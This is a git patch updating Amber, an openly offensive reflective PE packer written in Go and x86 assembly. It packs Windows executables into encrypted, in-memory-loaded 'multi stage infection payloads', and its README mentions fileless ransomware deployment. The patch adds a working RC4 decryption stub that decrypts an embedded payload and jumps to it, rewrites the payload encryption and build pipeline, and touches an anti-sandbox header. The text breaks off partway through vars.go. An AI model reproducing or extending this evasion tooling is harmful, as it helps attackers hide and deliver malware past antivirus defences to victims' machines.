From 1b4540f4e659fa7527becfe2cd5dfbc2fb999e66 Mon Sep 17 00:00:00 2001 From: EgeBalci Date: Sun, 3 Dec 2017 17:07:24 +0300 Subject: [PATCH] Major version update - RC4 encryption added - Better installation mechanism - EXE resource updated - Yara rule added - Several minor bug fixes - Optimized compile and assemble --- README.md | 19 ++++---- core/RC4.asm | 61 ++++++++++++++++++++++++ setup.sh | 4 +- src/amber.go | 86 +++++++++++++++++++++++---------- src/analyze.go | 14 +++--- src/assemble.go | 56 ++++++++-------------- src/compile.go | 34 +++++++------ src/crypt.go | 81 +++++++++++++++++++------------ src/debug.go | 94 +++++++++++++++++++++--------------- src/map.go | 10 ++-- src/vars.go | 7 +-- stub/AntiSandbox.h | 110 ++++++++++--------------------------------- stub/RC4.h | 37 +++++++++++++++ stub/Resource.o | Bin 158050 -> 158082 bytes stub/res/Resource.rc | 24 ++++++++++ stub/res/amber.ico | Bin 0 -> 156750 bytes stub/stub.cpp | 14 ++++-- uninstall.sh | 17 ++----- 18 files changed, 390 insertions(+), 278 deletions(-) create mode 100644 core/RC4.asm create mode 100644 stub/RC4.h create mode 100644 stub/res/Resource.rc create mode 100644 stub/res/amber.ico diff --git a/README.md b/README.md index 67422b0..ea548aa 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,9 @@ -# AMBER ![Version](https://img.shields.io/badge/version-1.0-brightgreen.svg) [![License](https://img.shields.io/packagist/l/doctrine/orm.svg)](https://raw.githubusercontent.com/EgeBalci/Amber/master/LICENSE) [![Golang](https://img.shields.io/badge/Golang-1.9-blue.svg)](https://golang.org) [![Twitter](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/egeblc) + [![Banner](https://github.com/EgeBalci/Amber/raw/master/Banner.png)](https://github.com/egebalci/Amber) +[![Version](https://img.shields.io/badge/version-1.1.0-green.svg)](https://github.com/egebalci/Amber) [![License](https://img.shields.io/packagist/l/doctrine/orm.svg)](https://raw.githubusercontent.com/EgeBalci/Amber/master/LICENSE) [![Golang](https://img.shields.io/badge/Golang-1.9-blue.svg)](https://golang.org) [![Twitter](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/egeblc) + Amber is a proof of concept packer, it can pack regularly compiled PE files into reflective PE files that can be used as multi stage infection payloads. If you want to learn the packing methodology used inside the Amber check out below. @@ -80,28 +82,27 @@ SUPPORTED PLATFORMS: // ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // POC Reflective PE Packer - # Version: 1.0.0 + # Version: 1.1.0 # Source: github.com/egebalci/Amber USAGE: - amber file.exe [options] + amber [options] file.exe OPTIONS: -k, --key [string] Custom cipher key - -ks,--keysize Size of the encryption key in bytes (Max:100/Min:4) + -ks,--keysize Size of the encryption key in bytes (Max:255/Min:8) --staged Generated a staged payload --iat Uses import address table entries instead of hash api --no-resource Don't add any resource -v, --verbose Verbose output mode - --no-unicode Alternative banner for terminals that does not support unicode -h, --help Show this massage EXAMPLE: (Default settings if no option parameter passed) - amber file.exe -ks 8 + amber -ks 8 file.exe Fileless ransomware deployment with powershell @@ -146,9 +147,9 @@ When no extra parameters passed (only the file name) packer generates a multi st - [ ] Add MacOS support - [ ] Add.NET file support - [ ] Add a IAT parser shellcode to stub -- [ ] Add yara rules to repo +- [x] Add yara rules to repo - [ ] Write a unpacker for Amber payloads +- [x] Add RC4 encryption to payloads - [ ] Automate IAT index address finding on --iat option -- [ ] Add assembly encoder & anti debug features - [ ] Add more integrity checks to the file mapping function -- [ ] Better installation mechanism +- [x] Better installation mechanism diff --git a/core/RC4.asm b/core/RC4.asm new file mode 100644 index 0000000..970e25d --- /dev/null +++ b/core/RC4.asm @@ -0,0 +1,61 @@ +;-----------------------------------------------------------------------------; +; Authors: Michael Schierl, Ege Balcı +; Version: 2.0 (02 December 2017) +;-----------------------------------------------------------------------------; +[BITS 32] + +; Input: EBP - Data to decode +; ESI - Key +; ECX - Data size +; EDI - Scratch place for S-box +; Direction flag has to be cleared +; Output: None. Data is decoded in place. +; Clobbers: EAX, EBX, ECX, EDX, EBP + + cld + call start +Payload: + incbin "../Payload.rc4" +PSize: equ $-Payload +Key: + incbin "../Payload.key" +KSize: equ $-Key + ; Initialize S-box +start: + pop ebp ; Pop out the address of payload to ebp + lea esi,[ebp+PSize] ; Load the address of key to esi + mov ecx,PSize ; Move the size of the amber payload to ecx + mov edi,esp ; Set the address of stack as scratch box + xor eax, eax ; Start with 0 +init: + stosb ; Store next SBox byte S[i] = i + inc al ; Increase byte to write (EDI is increased automatically) + jnz init ; Loop until we wrap around + sub edi, 0x100 ; Restore EDI + ; Permute S-box according to key + xor ebx, ebx ; Clear EBX (EAX is already cleared) +permute: + add bl,[edi+eax] ; BL += S[AL] + KEY[AL % sizeof(Key)] + mov edx,eax ; + and dl,KSize-1 ; dl & sizeof(Key) + add bl,[esi+edx] ; Move next byte of key to bl + mov dl,[edi+eax] ; swap S[AL] and S[BL] + xchg dl,[edi+ebx] ; .. + mov [edi+eax], dl ; .. + inc al ; AL += 1 until we wrap around + jnz permute ; + ; Decryption loop + xor ebx, ebx ; Clear EBX (EAX is already cleared) +decrypt: + inc al ; AL += 1 + add bl,[edi+eax] ; BL += S[AL] + mov dl,[edi+eax] ; swap S[AL] and S[BL] + xchg dl,[edi+ebx] ; + mov [edi+eax], dl ; + add dl,[edi+ebx] ; DL = S[AL]+S[BL] + mov dl,[edi+edx] ; DL = S[DL] + xor [ebp],dl ; [EBP] ^= DL + inc ebp ; Advance data pointer + dec ecx ; Reduce counter + jnz decrypt ; Until finished + jmp Payload diff --git a/setup.sh b/setup.sh index 9029cce..b1a90e7 100755 --- a/setup.sh +++ b/setup.sh @@ -61,7 +61,7 @@ if [ $DIST == "Arch" ] || [ $DIST == "Manjaro" ]; then echo '// / | \/ Y \ | \| \ | | \' echo '// \____|__ /\____|__ /______ /_______ / |____|_ /' echo '// \/ \/ \/ \/ \/ ' - echo '// POC Reflective PE Packer' + echo '// POC Reflective PE Packer v1.1.0' else #tput setaf 1; @@ -72,7 +72,7 @@ else echo "// ██╔══██║██║╚██╔╝██║██╔══██╗██╔══╝ ██╔══██╗" echo "// ██║ ██║██║ ╚═╝ ██║██████╔╝███████╗██║ ██║" echo "// ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝" - echo "// POC Reflective PE Packer ☣ " + echo "// POC Reflective PE Packer ☣ v1.1.0" #echo -e " "$Color_Off fi diff --git a/src/amber.go b/src/amber.go index 2405725..230f269 100644 --- a/src/amber.go +++ b/src/amber.go @@ -1,10 +1,13 @@ package main + +import "path/filepath" import "debug/pe" import "strconv" import "os/exec" import "runtime" import "strings" +import "errors" import "os" func main() { @@ -16,28 +19,32 @@ func main() { Help() os.Exit(0) } - Banner() + Banner() // Set the default values... - peid.fileName = ARGS[0] - peid.keySize = 7 + peid.KeySize = 0 peid.staged = false peid.resource = true peid.verbose = false peid.iat = false + peid.debug = false // Parse the parameters... for i := 0; i < len(ARGS); i++ { if ARGS[i] == "-ks" || ARGS[i] == "--keysize" { ks, Err := strconv.Atoi(ARGS[i+1]) if Err != nil { - ParseError(Err,"\n[!] ERROR: Invalid key size.\n","") + ParseError(Err,"Invalid key size.\n"," ") } else { - peid.keySize = ks + peid.KeySize = ks } } if ARGS[i] == "-k" || ARGS[i] == "--key" { peid.key = []byte(ARGS[i+1]) + if len([]byte(ARGS[i+1])) < 8 { + ParseError(errors.New("Invalid key size !"),"Key size can't be smaller than 8 byte.\n"," ") + } + peid.KeySize = len([]byte(ARGS[i+1])) } if ARGS[i] == "--staged" { peid.staged = true @@ -51,18 +58,26 @@ func main() { if ARGS[i] == "-v" || ARGS[i] == "--verbose" { peid.verbose = true } + if ARGS[i] == "--debug" { + peid.debug = true + } } + + if peid.KeySize == 0 && peid.staged == false { + peid.KeySize = 8 + } + // Show status BoldYellow.Print("\n[*] File: ") - BoldBlue.Println(peid.fileName) + BoldBlue.Println(peid.FileName) BoldYellow.Print("[*] Staged: ") BoldBlue.Println(peid.staged) if len(peid.key) != 0 { BoldYellow.Print("[*] Key: ") - BoldBlue.Println(peid.key) + BoldBlue.Println(string(peid.key)) } else { BoldYellow.Print("[*] Key Size: ") - BoldBlue.Println(peid.keySize) + BoldBlue.Println(peid.KeySize) } BoldYellow.Print("[*] IAT: ") BoldBlue.Println(peid.iat) @@ -72,10 +87,18 @@ func main() { // Create the process bar CreateProgressBar() CheckRequirements() // Check the required setup (6 steps) + + // Get the absolute path of the file + abs,abs_err := filepath.Abs(ARGS[(len(ARGS)-1)]) + ParseError(abs_err,"Can not open input file.","") + peid.FileName = abs + progress() + Cdir("/usr/share/Amber") + progress() // Open the input file verbose("Opening input file...","*") - file, fileErr := pe.Open(ARGS[0]) - ParseError(fileErr,"\n[!] ERROR: Can not open input file.","") + file, FileErr := pe.Open(peid.FileName) + ParseError(FileErr,"Can not open input file.","") progress() // Analyze the input file analyze(file) // 10 steps @@ -83,8 +106,15 @@ func main() { assemble() // 10 steps if peid.staged == true { - exec.Command("sh", "-c", string("mv Payload "+peid.fileName+".stage")).Run() + if peid.KeySize != 0 { + crypt() // 4 steps + Cdir("/usr/share/Amber/core") + nasm, Err := exec.Command("nasm","-f","bin","RC4.asm","-o","/usr/share/Amber/Payload").Output() + ParseError(Err,"While assembling the RC4 decipher header.",string(nasm)) + } + move("/usr/share/Amber/Payload",string(peid.FileName+".stage")) } else { + crypt() // 4 steps compile() // Compile the amber stub (10 steps) } // Clean the created files @@ -93,12 +123,12 @@ func main() { progressBar.Finish() } - var getSize string = string("wc -c " + peid.fileName + "|awk '{print $1}'|tr -d '\n'") + var getSize string = string("wc -c " + peid.FileName + "|awk '{print $1}'|tr -d '\n'") if peid.staged == true { - getSize = string("wc -c " + peid.fileName+ ".stage" + "|awk '{print $1}'|tr -d '\n'") + getSize = string("wc -c " + peid.FileName+ ".stage" + "|awk '{print $1}'|tr -d '\n'") } wc, wcErr := exec.Command("sh", "-c", getSize).Output() - ParseError(wcErr,"\n[!] ERROR: While getting the file size",string(wc)) + ParseError(wcErr,"While getting the file size",string(wc)) BoldYellow.Print("\n[*] ") white.Println("Final Size: " + peid.fileSize + " -> " + string(wc) + " bytes") @@ -120,7 +150,7 @@ func Banner() { // ██╔══██║██║╚██╔╝██║██╔══██╗██╔══╝ ██╔══██╗ // ██║ ██║██║ ╚═╝ ██║██████╔╝███████╗██║ ██║ // ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ -// POC Reflective PE Packer ☣ +// POC Reflective PE Packer ☣ ` var ArchBanner string = ` @@ -143,12 +173,18 @@ func Banner() { }else{ BoldRed.Print(BANNER) } + + + //BoldRed.Print(BANNER) BoldBlue.Print("\n# Version: ") BoldGreen.Println(VERSION) + BoldBlue.Print("# Author: ") + BoldGreen.Println("Ege Balcı") BoldBlue.Print("# Source: ") BoldGreen.Println("github.com/egebalci/Amber") + } @@ -156,23 +192,21 @@ func Help() { var Help string = ` USAGE: - amber file.exe [options] - + amber [options] file.exe OPTIONS: - -k, --key [string] Custom cipher key - -ks,--keysize Size of the encryption key in bytes (Max:100/Min:4) - --staged Generated a staged payload - --iat Uses import address table entries instead of hash api - --no-resource Don't add any resource - -v, --verbose Verbose output mode - --no-unicode Alternative banner for terminals that does not support unicode - -h, --help Show this massage + -k, --key Custom cipher key + -ks,--keysize Size of the encryption key in bytes (Max:255/Min:8) + --staged Generated a staged payload + --iat Uses import address table entries instead of hash api + --no-resource Don't add any resource data + -v, --verbose Verbose output mode + -h, --help Show this massage EXAMPLE: (Default settings if no option parameter passed) - amber file.exe -ks 8 + amber -ks 8 file.exe ` green.Println(Help) diff --git a/src/analyze.go b/src/analyze.go index 8af79fc..dfae0d9 100644 --- a/src/analyze.go +++ b/src/analyze.go @@ -9,13 +9,13 @@ func analyze(file *pe.File) { //Do analysis on pe file... verbose("Analyzing PE file...","*") if file.FileHeader.Machine != 0x14C { - ParseError(errors.New(""),"\n[!] ERROR: File is not a 32 bit PE.","") + ParseError(errors.New("False machine value !"),"File is not a 32 bit PE.","") } progress() var Opt *pe.OptionalHeader32 = file.OptionalHeader.(*pe.OptionalHeader32) // PE32 = 0x10B if Opt.Magic != 0x10B { - ParseError(errors.New(""),"\n[!] ERROR: File is not a valid PE.","") + ParseError(errors.New("False magic value !"),"File is not a valid PE.","") } progress() peid.imageBase = Opt.ImageBase @@ -37,11 +37,11 @@ func analyze(file *pe.File) { } progress() if (Opt.DataDirectory[11].Size) != 0x00 { - ParseError(errors.New(""),"\n[!] ERROR: File has bounded imports.","") + ParseError(errors.New("File has bounded imports."),"EXE files with bounded imports not supported.","") } progress() if (Opt.DataDirectory[14].Size) != 0x00 { - ParseError(errors.New(""),"\n[!] ERROR: .NET binaries are not supported.","") + ParseError(errors.New("Unempty CLR section !"),".NET binaries are not supported.","") } progress() if (Opt.DataDirectory[13].Size) != 0x00 { @@ -49,11 +49,11 @@ func analyze(file *pe.File) { } progress() if (Opt.DataDirectory[1].Size) == 0x00 { - ParseError(errors.New(""),"\n[!] ERROR: File has empty import table.","") + ParseError(errors.New(""),"File has empty import table.","") } progress() - wc, wcErr := exec.Command("sh", "-c", string("wc -c "+peid.fileName+"|awk '{print $1}'|tr -d '\n'")).Output() - ParseError(wcErr,"\n[!] ERROR: While getting the file size",string(wc)) + wc, wcErr := exec.Command("sh", "-c", string("wc -c "+peid.FileName+"|awk '{print $1}'|tr -d '\n'")).Output() + ParseError(wcErr,"While getting the file size",string(wc)) peid.fileSize = string(wc) progress() diff --git a/src/assemble.go b/src/assemble.go index 5d13b04..373d709 100644 --- a/src/assemble.go +++ b/src/assemble.go @@ -8,10 +8,10 @@ func assemble() { verbose("Assembling reflective payload...","*") // Create a file mapping image (6 steps) - Map, MapErr:= CreateFileMapping(peid.fileName) - ParseError(MapErr,"\n[!] ERROR: While creating file mapping","") + Map, MapErr:= CreateFileMapping(peid.FileName) + ParseError(MapErr,"While creating file mapping","") MapFile, MapFileErr := os.Create("Mem.map") - ParseError(MapFileErr,"\n[!] ERROR: While getting the file size","") + ParseError(MapFileErr,"While getting the file size","") MapFile.Write(Map.Bytes()) MapFile.Close() @@ -19,54 +19,38 @@ func assemble() { progress() if peid.aslr == false { - moveMapCommand := "mv Mem.map core/Fixed/" if peid.iat == true { - moveMapCommand += "iat/" + move("/usr/share/Amber/Mem.map","/usr/share/Amber/core/Fixed/iat/Mem.map") + }else{ + move("/usr/share/Amber/Mem.map","/usr/share/Amber/core/Fixed/Mem.map") } - moveMap, moveMapErr := exec.Command("sh", "-c", moveMapCommand).Output() - ParseError(moveMapErr,"\n[!] ERROR: While moving the file map",string(moveMap)) progress() - nasmCommand := "cd core/Fixed/" + Cdir("/usr/share/Amber/core/Fixed") if peid.iat == true { - nasmCommand += "iat/" + Cdir("/usr/share/Amber/core/Fixed/iat") } - nasmCommand += " && nasm -f bin Stub.asm -o Payload" - nasm, Err := exec.Command("sh", "-c", nasmCommand).Output() - ParseError(Err,"\n[!] ERROR: While assembling payload :(",string(nasm)) - progress() - movePayloadCommand := "mv core/Fixed/Payload ./" - if peid.iat == true { - movePayloadCommand = "mv core/Fixed/iat/Payload ./" - } - movePayload, movePayErr := exec.Command("sh", "-c", movePayloadCommand).Output() - ParseError(movePayErr,"\n[!] ERROR: While moving the payload",string(movePayload)) - + nasm, Err := exec.Command("nasm","-f","bin","Stub.asm","-o","/usr/share/Amber/Payload").Output() + ParseError(Err,"While assembling payload :(",string(nasm)) progress() } else { - moveMapCommand := "mv Mem.map core/ASLR/" if peid.iat == true { - moveMapCommand += "iat/" + move("/usr/share/Amber/Mem.map","/usr/share/Amber/core/ASLR/iat/Mem.map") + }else{ + move("/usr/share/Amber/Mem.map","/usr/share/Amber/core/ASLR/Mem.map") } - moveMap, moveMapErr := exec.Command("sh", "-c", moveMapCommand).Output() - ParseError(moveMapErr,"\n[!] ERROR: While moving the file map",string(moveMap)) progress() - nasmCommand := "cd core/ASLR/" + Cdir("/usr/share/Amber/core/ASLR") if peid.iat == true { - nasmCommand += "iat/" + Cdir("/usr/share/Amber/core/Fixed/iat/") } - nasmCommand += " && nasm -f bin Stub.asm -o Payload" - nasm, Err := exec.Command("sh", "-c", nasmCommand).Output() - ParseError(Err,"\n[!] ERROR: While assembling payload :(",string(nasm)) - progress() - movePayloadCommand := "mv core/ASLR/Payload ./" - if peid.iat == true { - movePayloadCommand = "mv core/ASLR/iat/Payload ./" - } - movePayload, movePayErr := exec.Command("sh", "-c", movePayloadCommand).Output() - ParseError(movePayErr,"\n[!] ERROR: While moving the payload",string(movePayload)) + nasm, Err := exec.Command("nasm","-f","bin","Stub.asm","-o","/usr/share/Amber/Payload").Output() + ParseError(Err,"While assembling payload :(",string(nasm)) progress() } + + Cdir("/usr/share/Amber") + verbose("Assebly completed.", "*") } diff --git a/src/compile.go b/src/compile.go index f3ebda7..0d87269 100644 --- a/src/compile.go +++ b/src/compile.go @@ -1,23 +1,21 @@ package main import "os/exec" -import "os" +//import "os" func compile() { - - verbose("Ciphering payload...","*") - crypt() // 4 steps - xxd := exec.Command("sh", "-c", "rm Payload && mv Payload.xor Payload && xxd -i Payload > stub/payload.h") - xxd.Stdout = os.Stdout - xxd.Stderr = os.Stderr - xxd.Run() + move("Payload.rc4","Payload") + xxd_err := exec.Command("sh", "-c", "xxd -i Payload > stub/payload.h").Run() + if xxd_err != nil { + ParseError(xxd_err,"While extracting payload hex stream.","") + } progress() - _xxd := exec.Command("sh", "-c", "xxd -i Payload.key > stub/key.h") - _xxd.Stdout = os.Stdout - _xxd.Stderr = os.Stderr - _xxd.Run() + _xxd_err := exec.Command("sh", "-c", "xxd -i Payload.key > stub/key.h").Run() + if _xxd_err != nil { + ParseError(_xxd_err,"While extracting key hex stream.","") + } progress() var compileCommand string = "i686-w64-mingw32-g++-win32 -c stub/stub.cpp" @@ -27,7 +25,7 @@ func compile() { mingwObj, mingwObjErr := exec.Command("sh", "-c", compileCommand).Output() - ParseError(mingwObjErr,"\n[!] ERROR: While compiling the object file.",string(mingwObj)) + ParseError(mingwObjErr,"While compiling the object file.",string(mingwObj)) progress() @@ -41,20 +39,20 @@ func compile() { compileCommand += "stub/Resource.o " } if peid.subsystem == 2 { // GUI - compileCommand += string("-mwindows -o "+peid.fileName) + compileCommand += string("-mwindows -o "+peid.FileName) }else{ - compileCommand += string("-o "+peid.fileName) + compileCommand += string("-o "+peid.FileName) } progress() verbose("Compiling to EXE...","*") mingw, mingwErr := exec.Command("sh", "-c", compileCommand).Output() - ParseError(mingwErr,"\n[!] ERROR: While compiling to exe. (This might caused by a permission issue)",string(mingw)) + ParseError(mingwErr,"While compiling to exe. (This might caused by a permission issue)",string(mingw)) progress() - strip, stripErr := exec.Command("sh", "-c", string("strip "+peid.fileName)).Output() - ParseError(stripErr,"\n[!] ERROR: While striping the exe.",string(strip)) + strip, stripErr := exec.Command("sh", "-c", string("strip "+peid.FileName)).Output() + ParseError(stripErr,"While striping the exe.",string(strip)) progress() } diff --git a/src/crypt.go b/src/crypt.go index e4c25bb..f371daf 100644 --- a/src/crypt.go +++ b/src/crypt.go @@ -1,9 +1,11 @@ package main +import "crypto/rc4" import "math/rand" import "io/ioutil" import "os/exec" +import "strconv" import "time" import "os" @@ -13,45 +15,51 @@ func crypt() { if len(peid.key) != 0 { payload, err := ioutil.ReadFile("Payload") - ParseError(err,"[!] ERROR: Can't open payload file.","") - + ParseError(err,"Can't open payload file.","") progress() - payload = xor(payload,peid.key) - payload_xor, err2 := os.Create("Payload.xor") - ParseError(err2,"[!] ERROR: Can't create payload.xor file.","") - + if (len(peid.key)%8) != 0 && peid.staged == true { + //tmp := make([]byte,(len(peid.key)+(8-len(peid.key)%8))) + peid.key = append(peid.key,GenerateKey(8-(len(peid.key)%8))...) + verbose(string("Key size rounded to "+strconv.Itoa(len(peid.key))),"*") + } + progress() + payload = RC4(payload,peid.key) + payload_rc4, err2 := os.Create("Payload.rc4") + ParseError(err2,"Can't create payload.rc4 file.","") progress() payload_key, err3 := os.Create("Payload.key") - ParseError(err3,"[!] ERROR: Can't create payload.xor file.","") - payload_xor.Write(payload) - payload_xor.Write(peid.key) - - payload_xor.Close() + ParseError(err3,"Can't create payload.rc4 file.","") + payload_rc4.Write(payload) + payload_rc4.Write(peid.key) + payload_rc4.Close() payload_key.Close() - progress() }else{ - key := generateKey(peid.keySize) + key := GenerateKey(peid.KeySize) + if peid.KeySize != len(key) { + verbose(string("Key size rounded to "+strconv.Itoa(len(key))),"*") + } progress() payload, err := ioutil.ReadFile("Payload") - ParseError(err,"[!] ERROR: Can't open payload file.","") + ParseError(err,"Can't open payload file.","") progress() - payload = xor(payload,key) - payload_xor, err2 := os.Create("Payload.xor") - ParseError(err2,"[!] ERROR: Can't create payload.xor file.","") + payload = RC4(payload,key) + payload_rc4, err2 := os.Create("Payload.rc4") + ParseError(err2,"Can't create payload.rc4 file.","") progress() payload_key, err3 := os.Create("Payload.key") - ParseError(err3,"[!] ERROR: Can't create payload.xor file.","") - payload_xor.Write(payload) + ParseError(err3,"Can't create payload.rc4 file.","") + payload_rc4.Write(payload) payload_key.Write(key) - - payload_xor.Close() + payload_rc4.Close() payload_key.Close() } progress() + verbose("Payload encrypted with RC4 algorithm\n","*") hex, _ := exec.Command("sh", "-c", "xxd -i Payload.key").Output() - verbose("Payload ciphered with: \n","*") verbose(string(hex),"B") + + remove("Payload") } @@ -62,14 +70,25 @@ func xor(Data []byte, Key []byte) ([]byte){ return Data } - -func generateKey(Size int) ([]byte){ - Key := make([]byte, Size) - rand.Seed(time.Now().UTC().UnixNano()) - for i := 0; i < Size; i++{ - Key[i] = byte(rand.Intn(255)) - } - return Key +func RC4(data []byte, Key []byte) ([]byte){ + c,e := rc4.NewCipher(Key) + ParseError(e,"While RC4 encryption !","") + dst := make([]byte, len(data)) + c.XORKeyStream(dst, data) + return dst } -// Implement RC4... \ No newline at end of file + +func GenerateKey(Size int) ([]byte){ + + if peid.staged == true && (Size%8) != 0 && Size >= 8{ + Size += (8-(Size%8)) + } + + Key := make([]byte, Size) + rand.Seed(time.Now().UTC().UnixNano()) + for i := 0; i < Size; i++{ + Key[i] = byte(rand.Intn(255)) + } + return Key +} diff --git a/src/debug.go b/src/debug.go index f166206..07e9f44 100644 --- a/src/debug.go +++ b/src/debug.go @@ -4,7 +4,6 @@ import "os" import "fmt" import "os/exec" import "strings" -//import "github.com/fatih/color" import "gopkg.in/cheggaaa/pb.v1" @@ -16,7 +15,7 @@ func progress() { func CreateProgressBar() { - var full int = 46 + var full int = 48 if peid.verbose == false { if peid.staged == true { @@ -69,63 +68,62 @@ func CheckRequirements() { progress() CheckMingw, mingwErr := exec.Command("sh", "-c", "i686-w64-mingw32-g++ --version").Output() if !strings.Contains(string(CheckMingw), "Copyright") { - ParseError(mingwErr,"\n\n[!] ERROR: MingW is not installed.",string(CheckMingw)) + ParseError(mingwErr,"MingW is not installed.",string(CheckMingw)) } progress() CheckNasm, _ := exec.Command("sh", "-c", "nasm -h").Output() if !strings.Contains(string(CheckNasm), "usage:") { - ParseError(nil,"\n\n[!] ERROR: nasm is not installed.",string(CheckNasm)) + ParseError(nil,"nasm is not installed.",string(CheckNasm)) } progress() CheckStrip, _ := exec.Command("sh", "-c", "strip -V").Output() if !strings.Contains(string(CheckStrip), "Copyright") { - ParseError(nil,"\n\n[!] ERROR: strip is not installed.",string(CheckStrip)) + ParseError(nil,"strip is not installed.",string(CheckStrip)) } progress() CheckXXD, _ := exec.Command("sh", "-c", "echo Amber|xxd").Output() if !strings.Contains(string(CheckXXD), "Amber") { - ParseError(nil,"\n\n[!] ERROR: xxd is not installed.",string(CheckMingw)) + ParseError(nil,"xxd is not installed.",string(CheckMingw)) } progress() CheckMultiLib, _ := exec.Command("sh", "-c", "pacman -Qs gcc-multilib").Output() if strings.Contains(string(CheckMultiLib), "The GNU Compiler") { - ParseError(nil,"\n\n[!] ERROR: gcc-multilib is not installed.",string(CheckMultiLib)) + ParseError(nil,"gcc-multilib is not installed.",string(CheckMultiLib)) } progress() }else{ CheckMingw, mingwErr := exec.Command("sh", "-c", "i686-w64-mingw32-g++-win32 --version").Output() if !strings.Contains(string(CheckMingw), "Copyright") { - ParseError(mingwErr,"\n\n[!] ERROR: MingW is not installed.",string(CheckMingw)) + ParseError(mingwErr,"MingW is not installed.",string(CheckMingw)) } progress() CheckNasm, _ := exec.Command("sh", "-c", "nasm -h").Output() if !strings.Contains(string(CheckNasm), "usage:") { - ParseError(nil,"\n\n[!] ERROR: nasm is not installed.",string(CheckNasm)) + ParseError(nil,"nasm is not installed.",string(CheckNasm)) } progress() CheckStrip, _ := exec.Command("sh", "-c", "strip -V").Output() if !strings.Contains(string(CheckStrip), "Copyright") { - ParseError(nil,"\n\n[!] ERROR: strip is not installed.",string(CheckStrip)) + ParseError(nil,"strip is not installed.",string(CheckStrip)) } progress() CheckXXD, _ := exec.Command("sh", "-c", "echo Amber|xxd").Output() if !strings.Contains(string(CheckXXD), "Amber") { - ParseError(nil,"\n\n[!] ERROR: xxd is not installed.",string(CheckMingw)) + ParseError(nil,"xxd is not installed.",string(CheckMingw)) } progress() CheckMultiLib, _ := exec.Command("sh", "-c", "apt-cache policy gcc-multilib").Output() if strings.Contains(string(CheckMultiLib), "(none)") { - ParseError(nil,"\n\n[!] ERROR: gcc-multilib is not installed.",string(CheckMultiLib)) + ParseError(nil,"gcc-multilib is not installed.",string(CheckMultiLib)) } progress() CheckMultiLibPlus, _ := exec.Command("sh", "-c", "apt-cache policy g++-multilib").Output() if strings.Contains(string(CheckMultiLibPlus), "(none)") { - ParseError(nil,"\n\n[!] ERROR: g++-multilib is not installed.",string(CheckMultiLibPlus)) + ParseError(nil,"g++-multilib is not installed.",string(CheckMultiLibPlus)) } progress() } - } @@ -135,37 +133,59 @@ func ParseError(Err error,ErrStatus string,Msg string){ //progressBar.Finish() fmt.Println("\n") - BoldRed.Println(ErrStatus) - fmt.Println(Err) + BoldRed.Println("\n[!] ERROR: "+ErrStatus) + fmt.Println("\nERROR{\n",Err) if len(Msg) > 0 { - BoldRed.Println(Msg) + fmt.Println(Msg+"\n}\n") + }else{ + fmt.Println("\n}\n") + } + if Msg != " " { + clean() } - clean() fmt.Println("\n") os.Exit(1) } } +func Cdir(dir string) { + err := os.Chdir(dir) + ParseError(err,"While changing directory.","") +} + + +func move(Old, New string) { + err := os.Rename(Old,New) + if err != nil { + ParseError(err,"While moving a file.","") + } +} + +func remove(file string) { + exec.Command("rm", file).Run() +} + func clean() { - exec.Command("sh", "-c", "rm core/ASLR/Mem.map").Run() - progress() - exec.Command("sh", "-c", "rm core/ASLR/iat/Mem.map").Run() - progress() - exec.Command("sh", "-c", "rm core/Fixed/Mem.map").Run() - progress() - exec.Command("sh", "-c", "rm core/Fixed/iat/Mem.map").Run() - progress() - exec.Command("sh", "-c", "rm stub.o").Run() - progress() - exec.Command("sh", "-c", "rm Payload").Run() - progress() - exec.Command("sh", "-c", "rm Payload.key").Run() - progress() - exec.Command("sh", "-c", "echo > stub/payload.h").Run() - progress() - exec.Command("sh", "-c", "echo > stub/key.h").Run() - progress() - + if peid.debug != true { + remove("core/ASLR/Mem.map") + progress() + remove("core/ASLR/iat/Mem.map") + progress() + remove("core/Fixed/Mem.map") + progress() + remove("core/Fixed/iat/Mem.map") + progress() + remove("stub.o") + progress() + remove("Payload") + progress() + remove("Payload.key") + progress() + exec.Command("sh", "-c", "echo > stub/payload.h").Run() + progress() + exec.Command("sh", "-c", "echo > stub/key.h").Run() + progress() + } } diff --git a/src/map.go b/src/map.go index 5390a79..8567f65 100644 --- a/src/map.go +++ b/src/map.go @@ -30,7 +30,7 @@ func CreateFileMapping(file string) (bytes.Buffer,error){ // Check if the PE file is 64 bit if File.Machine == 0x8664 { - err := errors.New("[!] ERROR: 64 bit files not supported.") + err := errors.New("64 bit files not supported.") return bytes.Buffer{},err } @@ -57,7 +57,7 @@ func CreateFileMapping(file string) (bytes.Buffer,error){ // Map the section SectionData, err := File.Sections[i].Data() if err != nil { - err := errors.New("[!] ERROR: Cannot read section data") + err := errors.New("Cannot read section data") return bytes.Buffer{},err } Map.Write(SectionData) @@ -92,7 +92,7 @@ func CreateFileMapping(file string) (bytes.Buffer,error){ verbose("\n[#] Performing integrity checks on file mapping...\n|","Y") if int(OptionalHeader.SizeOfImage) != Map.Len() { - err := errors.New("[!] ERROR: Integrity check failed (Mapping size does not match the size of image header)") + err := errors.New("Integrity check failed (Mapping size does not match the size of image header)") return bytes.Buffer{},err } @@ -100,7 +100,7 @@ func CreateFileMapping(file string) (bytes.Buffer,error){ /* if Offset != ((File.Sections[len(File.Sections)-1].SectionHeader.VirtualAddress)+(File.Sections[len(File.Sections)-1].SectionHeader.VirtualSize)){ - err := errors.New("[!] ERROR: Integrity check failed (Offset does not match the final address)") + err := errors.New("Integrity check failed (Offset does not match the final address)") return bytes.Buffer{},err } @@ -111,7 +111,7 @@ func CreateFileMapping(file string) (bytes.Buffer,error){ Buffer := Map.Bytes() if RawFile[int(int(File.Sections[i].Offset)+j)] != Buffer[int(int(File.Sections[i].VirtualAddress)+j)]{ - err := errors.New("[!] ERROR: Integrity check failed (Broken section alignment)") + err := errors.New("Integrity check failed (Broken section alignment)") return bytes.Buffer{},err } } diff --git a/src/vars.go b/src/vars.go index d59409d..418ccd7 100644 --- a/src/vars.go +++ b/src/vars.go @@ -4,20 +4,21 @@ import "gopkg.in/cheggaaa/pb.v1" import "github.com/fatih/color" import "debug/pe" -const VERSION string = "1.0.0" +const VERSION string = "1.1.0" var PACKET_MANAGER string = "apt" type peID struct { // Parameters... 